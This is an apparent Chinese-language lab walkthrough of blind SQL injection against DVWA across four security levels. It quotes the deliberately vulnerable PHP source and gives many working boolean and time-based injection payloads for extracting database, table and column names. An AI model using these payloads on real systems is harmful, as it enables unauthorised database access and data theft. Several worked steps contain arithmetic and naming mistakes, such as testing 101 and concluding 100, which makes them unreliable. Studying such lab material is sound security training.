DVWA--SQL Injection (盲注)--四个级别
SQL盲注,其實(shí)和SQL注入差不多,只是比它難一點(diǎn)利用,注入時(shí)返回的數(shù)據(jù)只有正確和錯(cuò)誤,并不會(huì)返回其他信息
索引目錄:
Low
Medium
High
Impossible
ASCII標(biāo)準(zhǔn)表
Low
源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?> is_null($var) : 檢測(cè)變量是否為 NULL
var 允許傳入任意參數(shù)
如果 var 是 null 則返回 TRUE,否則返回 FALSE
舉例:
從例子中可以看出,is_null()僅僅是判斷它是否為空,你不輸出它,它不會(huì)返回任何值,如果輸出,僅僅只會(huì)返回null(也就是false)或1
@mysqli_num_rows ():
函數(shù)返回結(jié)果集中行的數(shù)量,這里前面加上了@,所以如果mysqli_num_rows ()執(zhí)行錯(cuò)誤,那么也不會(huì)返回錯(cuò)誤信息,將會(huì)返回0
注:這里的結(jié)果集必須是sql成功執(zhí)行的,sql語(yǔ)句執(zhí)行失敗的錯(cuò)誤返回信息不是結(jié)果集(個(gè)人理解)
substr(str, pos, len): SQL語(yǔ)句
在str中從pos開(kāi)始的位置(起始位置為1),截取len個(gè)字符
這個(gè)sql中的substr和php中的substr用法差不多,只是php中的第二個(gè)參數(shù)(pos這個(gè)位置的參數(shù))起始位置為0
str參數(shù):必選。數(shù)據(jù)庫(kù)中需要截取的字段。
pos參數(shù):必選。正數(shù),從字符串指定位子開(kāi)始截取;負(fù)數(shù),從字符串結(jié)尾指定位子開(kāi)始截取;1,在字符串中第一個(gè)位子開(kāi)始截取;0,大部分?jǐn)?shù)據(jù)庫(kù)不從0起始,都是從1起始,特殊除外。
len參數(shù):可選。需要截取的長(zhǎng)度。缺省,即截取到結(jié)束位置。
ord: SQL語(yǔ)句
負(fù)責(zé)將相應(yīng)的字符轉(zhuǎn)換成ASCII碼
mid(參數(shù)1,參數(shù)2,參數(shù)3):
在參數(shù)1的字符串中從參數(shù)2的指定的位置開(kāi)始(起始位置為1),截取數(shù)量為參數(shù)3數(shù)值的字符串
和substr的用法一模一樣,只是substr參數(shù)2的起始位置為0
limit:
limit m :檢索前m行數(shù)據(jù),顯示1-10行數(shù)據(jù)(m>0)
limit(x,y):檢索從x+1行開(kāi)始的y行數(shù)據(jù),顯示第x+1到y(tǒng)行的數(shù)據(jù)
Low級(jí)別SQL盲注的代碼和普通SQL注入的代碼差不多,只是你進(jìn)行注入它不會(huì)顯示任何數(shù)據(jù)信息,只會(huì)顯示你的語(yǔ)句是否執(zhí)行成功。
sql語(yǔ)句執(zhí)行成功,并返回大于等于一行結(jié)果,輸出:User ID exists in the database
sql語(yǔ)句執(zhí)行失敗,$_SERVER[ ‘SERVER_PROTOCOL’ ] . ’ 404 Not Found’
User ID is MISSING from the database
主要套路:首先猜解數(shù)量,再先猜解長(zhǎng)度,最后猜解該長(zhǎng)度中每個(gè)字符的值,也就是它的名字
1.判斷是否存在注入,注入是字符型還是數(shù)字型
輸入'
輸入1
輸入1 and 1=1
輸入1 and 1=2
經(jīng)過(guò)上面四幅圖的判斷,我們可以肯定這里存在sql注入漏洞,且為字符型注入
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
- 想要猜解數(shù)據(jù)庫(kù)名,首先要猜解數(shù)據(jù)庫(kù)名的長(zhǎng)度,然后再挨個(gè)猜解字符
輸入1' and length(database())=1#,顯示不存在:
輸入1' and length(database())=2#,顯示不存在:
輸入1' and length(database())=3#,顯示不存在:
輸入1' and length(database())=4#,顯示存在:
從以上四幅圖可以看出,源代碼的sql查詢語(yǔ)句中字段所屬數(shù)據(jù)庫(kù)長(zhǎng)度是4,也就是4個(gè)字符
- 下面采用二分法猜解數(shù)據(jù)庫(kù)名,使用ASCII猜解,ASCII數(shù)值范圍慢慢地縮小
猜解源代碼的sql查詢語(yǔ)句中字段所屬數(shù)據(jù)庫(kù)的第一個(gè)字符
1' and ascii(substr(database(),1,1))>97 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值) 1' and ascii(mid(database(),1,1))<122 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于122(小寫字母z的ascii值)之后縮小ascii范圍,可以取中間值 1' and ascii(substr(database(),1,1))<110 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于110(小寫字母n的ascii值) 1' and ascii(substr(database(),1,1))<105 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于105(小寫字母i的ascii值) 1' and ascii(substr(database(),1,1))<100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于等于100(小寫字母d的ascii值)所以范圍縮小到100<=數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值<105,所以我們接下來(lái)測(cè)試103 1' and ascii(substr(database(),1,1))<103 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于103(小寫字母g的ascii值) 1' and ascii(substr(database(),1,1))<102 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于102(小寫字母f的ascii值) 1' and ascii(substr(database(),1,1))<101 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于101(小寫字母e的ascii值)范圍再一次縮小,100<=數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值<101,此時(shí)只有100符合了,我們?cè)囋嚳?1' and ascii(substr(database(),1,1))=101 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值等于100(小寫字母d的ascii值) 因此數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值等于101,就是字符d除了ascii和substr搭配,還有其他函數(shù)的搭配方法,ord和mid,這四種函數(shù)也可以混用,舉例:
1' and ascii(MID(database(),1,1))=100 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值等于100(小寫字母d的ascii值) 1' and ord(substr(database(),1,1))=100 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值等于100(小寫字母d的ascii值) 1' and ord(MID(database(),1,1))=100 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值等于100(小寫字母d的ascii值)根據(jù)這樣的方法繼續(xù)猜解源代碼的sql查詢語(yǔ)句中字段所屬數(shù)據(jù)庫(kù)的第二個(gè)字符
1' and ascii(substr(database(),2,1))>97 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值大于97(小寫字母a的ascii值) 1' and ascii(substr(database(),2,1))<122 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值小于122(小寫字母z的ascii值) 1' and ascii(substr(database(),2,1))<110 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值大于等于110(小寫字母n的ascii值) 1' and ascii(substr(database(),2,1))<115 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值大于等于115(小寫字母s的ascii值) 1' and ascii(substr(database(),2,1))<120 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值小于120(小寫字母x的ascii值) 從以上5次測(cè)試,我們把范圍縮小到了115<=數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值<120 1' and ascii(substr(database(),2,1))<118 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值大于等于118(小寫字母v的ascii值) 1' and ascii(substr(database(),2,1))<119 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值小于119(小寫字母w的ascii值) 最后范圍縮小成118<=數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值<119,因此只能等于118,我們來(lái)測(cè)試一下 1' and ascii(substr(database(),2,1))=118 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值等于120(小寫字母v的ascii值) 因此數(shù)據(jù)庫(kù)名的第二個(gè)字符的ascii值等于118,就是字符v之后繼續(xù)用相同的方法猜解第三個(gè),第四個(gè)字符,最后得到源代碼的sql查詢語(yǔ)句中字段所屬數(shù)據(jù)庫(kù)為dvwa
3.猜解數(shù)據(jù)庫(kù)中的表名
首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:
從以上猜解,我們得知這個(gè)dvwa庫(kù)里一共有兩個(gè)表
那么接下來(lái)我們猜解這個(gè)庫(kù)里的表名分別是什么
首先來(lái)猜解第一個(gè)表的長(zhǎng)度:
我們?cè)賮?lái)猜解第一個(gè)表的第一個(gè)字符:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值小于122(小寫字母z的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<110 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值小于97(小寫字母n的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<105 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值小于105(小寫字母i的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<100 # 顯示不存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值大于等于100(小寫字母d的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值大于等于103(小寫字母g的ascii值)1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<104 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值小于104(小寫字母h的ascii值) 最后,104<=dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值<104,所以只能等于1041' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # 顯示存在,說(shuō)明dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的第一個(gè)字符的ascii值等于104(小寫字母g的ascii值) 因此第一個(gè)表的第一個(gè)字符為g依照猜解第一個(gè)表的第一個(gè)字符,我們就可以同理猜解出第二個(gè),第三個(gè),一直到第九個(gè),最后,這第一個(gè)表名為guestsbook
同理再來(lái)猜解第二個(gè)表的長(zhǎng)度和表名:最后得出第二個(gè)表的長(zhǎng)度為5,表明為users
4.猜解表中的字段名
我們這里以猜解users為例,因?yàn)檫@個(gè)表內(nèi)容可能是敏感數(shù)據(jù)
- 首先猜解表中字段的數(shù)量,這里是查看users表中所有的字段,不僅限于dvwa數(shù)據(jù)庫(kù)里的users,也包括其他庫(kù)里的users
我們也可以用二分法判斷,下面就示例三句,和前面的猜解表的字符原理差不多,就不具體演示了
顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')>1 #顯示不存在 1' and (select count(column_name) from information_schema.columns where table_name='users')>100 #...省略其他猜解過(guò)程顯示存在 1' and (select count(column_name) from information_schema.columns where table_name='users')=11 #- 其次我們挨個(gè)猜解users表中的字段名
首先我們猜解第一個(gè)字段的長(zhǎng)度
接下來(lái)我們猜解第一個(gè)字段的名字(先猜解第一個(gè)字段的第一個(gè)字符ascii碼)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97 # 顯示存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<122 # 顯示存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值小于(小寫字母z的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<110 # 顯示不存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值大于等于110(小寫字母n的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<115# 顯示不存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值大于等于115(小寫字母s的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<118# 顯示存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值小于118(小寫字母v的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<116 # 顯示不存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值大于等于116(小寫字母t的ascii值)1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<117 # 顯示不存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值大于等于117(小寫字母u的ascii值) 因此,我們最后得到117<=users表的第一個(gè)字段的第一個(gè)字符的ascii值<118,所以,數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值是1171' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 # 顯示存在,說(shuō)明users表的第一個(gè)字段的第一個(gè)字符的ascii值等于117(小寫字母u的ascii值),也就是第一個(gè)字符為u緊接著,同理我們可以猜出第二個(gè),第三個(gè),一直到第七個(gè)字符 最后猜解出users表的第一個(gè)字段的字段名是user_id同理我們也可以猜出第二個(gè),第三個(gè),第四個(gè)直到第十一個(gè)字段名是first_name,ast_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS這里我們?cè)俳榻B一種憑經(jīng)驗(yàn)猜解字段名稱的
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # 返回存在,說(shuō)明存在dvwa的users表中有名稱為password的字段 5.猜解數(shù)據(jù)
這里我們就選擇猜解user這個(gè)字段的數(shù)據(jù)
-
首先猜解user這個(gè)字段中數(shù)據(jù)的數(shù)量
暫時(shí)沒(méi)想到 -
其次我們猜解user字段中第一個(gè)數(shù)據(jù)的長(zhǎng)度
- 最后我們猜解user字段中第一個(gè)數(shù)據(jù)的名稱(字符值,也可以說(shuō)成字符名稱)
Medium
源代碼: <?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close(); }?>Medium級(jí)別的代碼使用了mysqli_real_escape_string轉(zhuǎn)義NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶的輸入
但是我們依舊可以通過(guò)抓包修改id并構(gòu)造sql語(yǔ)句進(jìn)行注入
從源代碼看出這里是數(shù)字型注入
基于布爾的盲注和前面Low級(jí)別基于布爾的盲注差不多,把單引號(hào)去掉就好了,這里就不贅述了
接下來(lái)我們重點(diǎn)來(lái)了解一下基于時(shí)間的盲注
sq中的if函數(shù)用法:
IF( expr1 , expr2 , expr3 )
expr1 的值為 TRUE,則返回值為 expr2
expr2 的值為FALSE,則返回值為 expr3
- 這里的盲注就采用了這種方法(這里的都是在burpsuite中抓包后修改包的內(nèi)容進(jìn)行注入)
對(duì)于 if(判斷條件,sleep(n),1) 函數(shù)而言,若判斷條件為真,則執(zhí)行sleep(n)函數(shù),達(dá)到在正常響應(yīng)時(shí)間的基礎(chǔ)上再延遲響應(yīng)時(shí)間n秒的效果;若判斷條件為假,則返回設(shè)置的1(真,就是true),此時(shí)不會(huì)執(zhí)行sleep(n)函數(shù)
- 接下來(lái)我們就就猜測(cè)這個(gè)數(shù)據(jù)庫(kù)的4個(gè)長(zhǎng)度第一個(gè)字符是什么
- 其次我們?cè)俨陆鈊vwa數(shù)據(jù)庫(kù)中有多少表
猜解dvwa庫(kù)中有幾張表(時(shí)間盲注法)
1 and if((select count(table_name) from information_schema.tables where table_schema=0x64767761)=2,sleep(6),1) #以0x開(kāi)始的數(shù)據(jù)表示16進(jìn)制,使用16進(jìn)制,引號(hào)可以省略
- 接下來(lái)我們猜測(cè)dvwa數(shù)據(jù)庫(kù)中第一個(gè)表名的長(zhǎng)度
- 再然后我們就要猜解這第一個(gè)表的表名了在,因?yàn)榉椒ê蚅ow級(jí)別差不多,我下面都簡(jiǎn)單寫出主要時(shí)間盲注的語(yǔ)句,參照它即可
- 再接下來(lái)我們就要猜解這個(gè)表名里的字段數(shù)量(這里就不寫了,原理和low級(jí)別一樣的,只是加入了if(參數(shù)1,sleep(6),1)
猜解dvwa數(shù)據(jù)庫(kù)中的users表中有幾個(gè)字段(時(shí)間盲注法,繞過(guò)過(guò)濾),與前面沒(méi)有指定數(shù)據(jù)庫(kù)的返回?cái)?shù)量是不同的
- 再猜解字段的長(zhǎng)度
- 再猜解字段名
- 再猜解字段值的數(shù)量(這個(gè)我沒(méi)有解決,歡迎朋友們告知)
- 再猜解字段其中一個(gè)值的長(zhǎng)度
- 再猜解字段其中一個(gè)值的名稱
High
源代碼: <?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds)函數(shù),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語(yǔ)句中添加了LIMIT 1,以此控制只輸出一個(gè)結(jié)果。因此我們注入只能選擇利用基于布爾的注入
利用方法和前面的Low級(jí)別差不多,這里就不多說(shuō)了,也是在burpsuite里進(jìn)行抓包注入
Impossible
源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}} }// Generate Anti-CSRF token generateSessionToken();?>1.Impossible級(jí)別的代碼采用了PDO技術(shù),劃清了代碼與數(shù)據(jù)的界限,有效防御SQL注入
2.只有當(dāng)返回的查詢結(jié)果數(shù)量為一個(gè)記錄時(shí),才會(huì)成功輸出,這樣就有效預(yù)防了暴庫(kù)
3.Anti-CSRF token機(jī)制的加入了進(jìn)一步提高了安全性,session_token是隨機(jī)生成的動(dòng)態(tài)值,每次向服務(wù)器請(qǐng)求,客戶端都會(huì)攜帶最新從服務(wù)端已下發(fā)的session_token值向服務(wù)器請(qǐng)求作匹配驗(yàn)證,相互匹配才會(huì)驗(yàn)證通過(guò)
參考文檔:
https://www.freebuf.com/articles/web/120985.html
https://www.jianshu.com/p/757626cec742
ASCII標(biāo)準(zhǔn)表
| Bin (二進(jìn)制) | Oct (八進(jìn)制) | Dec (十進(jìn)制) | Hex (十六進(jìn)制) | 縮寫/字符 | 解釋 |
| 0000 0000 | 00 | 0 | 0x00 | NUL(null) | 空字符 |
| 0000 0001 | 01 | 1 | 0x01 | SOH(start of headline) | 標(biāo)題開(kāi)始 |
| 0000 0010 | 02 | 2 | 0x02 | STX (start of text) | 正文開(kāi)始 |
| 0000 0011 | 03 | 3 | 0x03 | ETX (end of text) | 正文結(jié)束 |
| 0000 0100 | 04 | 4 | 0x04 | EOT (end of transmission) | 傳輸結(jié)束 |
| 0000 0101 | 05 | 5 | 0x05 | ENQ (enquiry) | 請(qǐng)求 |
| 0000 0110 | 06 | 6 | 0x06 | ACK (acknowledge) | 收到通知 |
| 0000 0111 | 07 | 7 | 0x07 | BEL (bell) | 響鈴 |
| 0000 1000 | 010 | 8 | 0x08 | BS (backspace) | 退格 |
| 0000 1001 | 011 | 9 | 0x09 | HT (horizontal tab) | 水平制表符 |
| 0000 1010 | 012 | 10 | 0x0A | LF (NL line feed, new line) | 換行鍵 |
| 0000 1011 | 013 | 11 | 0x0B | VT (vertical tab) | 垂直制表符 |
| 0000 1100 | 014 | 12 | 0x0C | FF (NP form feed, new page) | 換頁(yè)鍵 |
| 0000 1101 | 015 | 13 | 0x0D | CR (carriage return) | 回車鍵 |
| 0000 1110 | 016 | 14 | 0x0E | SO (shift out) | 不用切換 |
| 0000 1111 | 017 | 15 | 0x0F | SI (shift in) | 啟用切換 |
| 0001 0000 | 020 | 16 | 0x10 | DLE (data link escape) | 數(shù)據(jù)鏈路轉(zhuǎn)義 |
| 0001 0001 | 021 | 17 | 0x11 | DC1 (device control 1) | 設(shè)備控制1 |
| 0001 0010 | 022 | 18 | 0x12 | DC2 (device control 2) | 設(shè)備控制2 |
| 0001 0011 | 023 | 19 | 0x13 | DC3 (device control 3) | 設(shè)備控制3 |
| 0001 0100 | 024 | 20 | 0x14 | DC4 (device control 4) | 設(shè)備控制4 |
| 0001 0101 | 025 | 21 | 0x15 | NAK (negative acknowledge) | 拒絕接收 |
| 0001 0110 | 026 | 22 | 0x16 | SYN (synchronous idle) | 同步空閑 |
| 0001 0111 | 027 | 23 | 0x17 | ETB (end of trans. block) | 結(jié)束傳輸塊 |
| 0001 1000 | 030 | 24 | 0x18 | CAN (cancel) | 取消 |
| 0001 1001 | 031 | 25 | 0x19 | EM (end of medium) | 媒介結(jié)束 |
| 0001 1010 | 032 | 26 | 0x1A | SUB (substitute) | 代替 |
| 0001 1011 | 033 | 27 | 0x1B | ESC (escape) | 換碼(溢出) |
| 0001 1100 | 034 | 28 | 0x1C | FS (file separator) | 文件分隔符 |
| 0001 1101 | 035 | 29 | 0x1D | GS (group separator) | 分組符 |
| 0001 1110 | 036 | 30 | 0x1E | RS (record separator) | 記錄分隔符 |
| 0001 1111 | 037 | 31 | 0x1F | US (unit separator) | 單元分隔符 |
| 0010 0000 | 040 | 32 | 0x20 | (space) | 空格 |
| 0010 0001 | 041 | 33 | 0x21 | ! | 嘆號(hào) |
| 0010 0010 | 042 | 34 | 0x22 | " | 雙引號(hào) |
| 0010 0011 | 043 | 35 | 0x23 | # | 井號(hào) |
| 0010 0100 | 044 | 36 | 0x24 | $ | 美元符 |
| 0010 0101 | 045 | 37 | 0x25 | % | 百分號(hào) |
| 0010 0110 | 046 | 38 | 0x26 | & | 和號(hào) |
| 0010 0111 | 047 | 39 | 0x27 | ' | 閉單引號(hào) |
| 0010 1000 | 050 | 40 | 0x28 | ( | 開(kāi)括號(hào) |
| 0010 1001 | 051 | 41 | 0x29 | ) | 閉括號(hào) |
| 0010 1010 | 052 | 42 | 0x2A | * | 星號(hào) |
| 0010 1011 | 053 | 43 | 0x2B | + | 加號(hào) |
| 0010 1100 | 054 | 44 | 0x2C | , | 逗號(hào) |
| 0010 1101 | 055 | 45 | 0x2D | - | 減號(hào)/破折號(hào) |
| 0010 1110 | 056 | 46 | 0x2E | . | 句號(hào) |
| 0010 1111 | 057 | 47 | 0x2F | / | 斜杠 |
| 0011 0000 | 060 | 48 | 0x30 | 0 | 字符0 |
| 0011 0001 | 061 | 49 | 0x31 | 1 | 字符1 |
| 0011 0010 | 062 | 50 | 0x32 | 2 | 字符2 |
| 0011 0011 | 063 | 51 | 0x33 | 3 | 字符3 |
| 0011 0100 | 064 | 52 | 0x34 | 4 | 字符4 |
| 0011 0101 | 065 | 53 | 0x35 | 5 | 字符5 |
| 0011 0110 | 066 | 54 | 0x36 | 6 | 字符6 |
| 0011 0111 | 067 | 55 | 0x37 | 7 | 字符7 |
| 0011 1000 | 070 | 56 | 0x38 | 8 | 字符8 |
| 0011 1001 | 071 | 57 | 0x39 | 9 | 字符9 |
| 0011 1010 | 072 | 58 | 0x3A | : | 冒號(hào) |
| 0011 1011 | 073 | 59 | 0x3B | ; | 分號(hào) |
| 0011 1100 | 074 | 60 | 0x3C | < | 小于 |
| 0011 1101 | 075 | 61 | 0x3D | = | 等號(hào) |
| 0011 1110 | 076 | 62 | 0x3E | > | 大于 |
| 0011 1111 | 077 | 63 | 0x3F | ? | 問(wèn)號(hào) |
| 0100 0000 | 0100 | 64 | 0x40 | @ | 電子郵件符號(hào) |
| 0100 0001 | 0101 | 65 | 0x41 | A | 大寫字母A |
| 0100 0010 | 0102 | 66 | 0x42 | B | 大寫字母B |
| 0100 0011 | 0103 | 67 | 0x43 | C | 大寫字母C |
| 0100 0100 | 0104 | 68 | 0x44 | D | 大寫字母D |
| 0100 0101 | 0105 | 69 | 0x45 | E | 大寫字母E |
| 0100 0110 | 0106 | 70 | 0x46 | F | 大寫字母F |
| 0100 0111 | 0107 | 71 | 0x47 | G | 大寫字母G |
| 0100 1000 | 0110 | 72 | 0x48 | H | 大寫字母H |
| 0100 1001 | 0111 | 73 | 0x49 | I | 大寫字母I |
| 01001010 | 0112 | 74 | 0x4A | J | 大寫字母J |
| 0100 1011 | 0113 | 75 | 0x4B | K | 大寫字母K |
| 0100 1100 | 0114 | 76 | 0x4C | L | 大寫字母L |
| 0100 1101 | 0115 | 77 | 0x4D | M | 大寫字母M |
| 0100 1110 | 0116 | 78 | 0x4E | N | 大寫字母N |
| 0100 1111 | 0117 | 79 | 0x4F | O | 大寫字母O |
| 0101 0000 | 0120 | 80 | 0x50 | P | 大寫字母P |
| 0101 0001 | 0121 | 81 | 0x51 | Q | 大寫字母Q |
| 0101 0010 | 0122 | 82 | 0x52 | R | 大寫字母R |
| 0101 0011 | 0123 | 83 | 0x53 | S | 大寫字母S |
| 0101 0100 | 0124 | 84 | 0x54 | T | 大寫字母T |
| 0101 0101 | 0125 | 85 | 0x55 | U | 大寫字母U |
| 0101 0110 | 0126 | 86 | 0x56 | V | 大寫字母V |
| 0101 0111 | 0127 | 87 | 0x57 | W | 大寫字母W |
| 0101 1000 | 0130 | 88 | 0x58 | X | 大寫字母X |
| 0101 1001 | 0131 | 89 | 0x59 | Y | 大寫字母Y |
| 0101 1010 | 0132 | 90 | 0x5A | Z | 大寫字母Z |
| 0101 1011 | 0133 | 91 | 0x5B | [ | 開(kāi)方括號(hào) |
| 0101 1100 | 0134 | 92 | 0x5C | \ | 反斜杠 |
| 0101 1101 | 0135 | 93 | 0x5D | ] | 閉方括號(hào) |
| 0101 1110 | 0136 | 94 | 0x5E | ^ | 脫字符 |
| 0101 1111 | 0137 | 95 | 0x5F | _ | 下劃線 |
| 0110 0000 | 0140 | 96 | 0x60 | ` | 開(kāi)單引號(hào) |
| 0110 0001 | 0141 | 97 | 0x61 | a | 小寫字母a |
| 0110 0010 | 0142 | 98 | 0x62 | b | 小寫字母b |
| 0110 0011 | 0143 | 99 | 0x63 | c | 小寫字母c |
| 0110 0100 | 0144 | 100 | 0x64 | d | 小寫字母d |
| 0110 0101 | 0145 | 101 | 0x65 | e | 小寫字母e |
| 0110 0110 | 0146 | 102 | 0x66 | f | 小寫字母f |
| 0110 0111 | 0147 | 103 | 0x67 | g | 小寫字母g |
| 0110 1000 | 0150 | 104 | 0x68 | h | 小寫字母h |
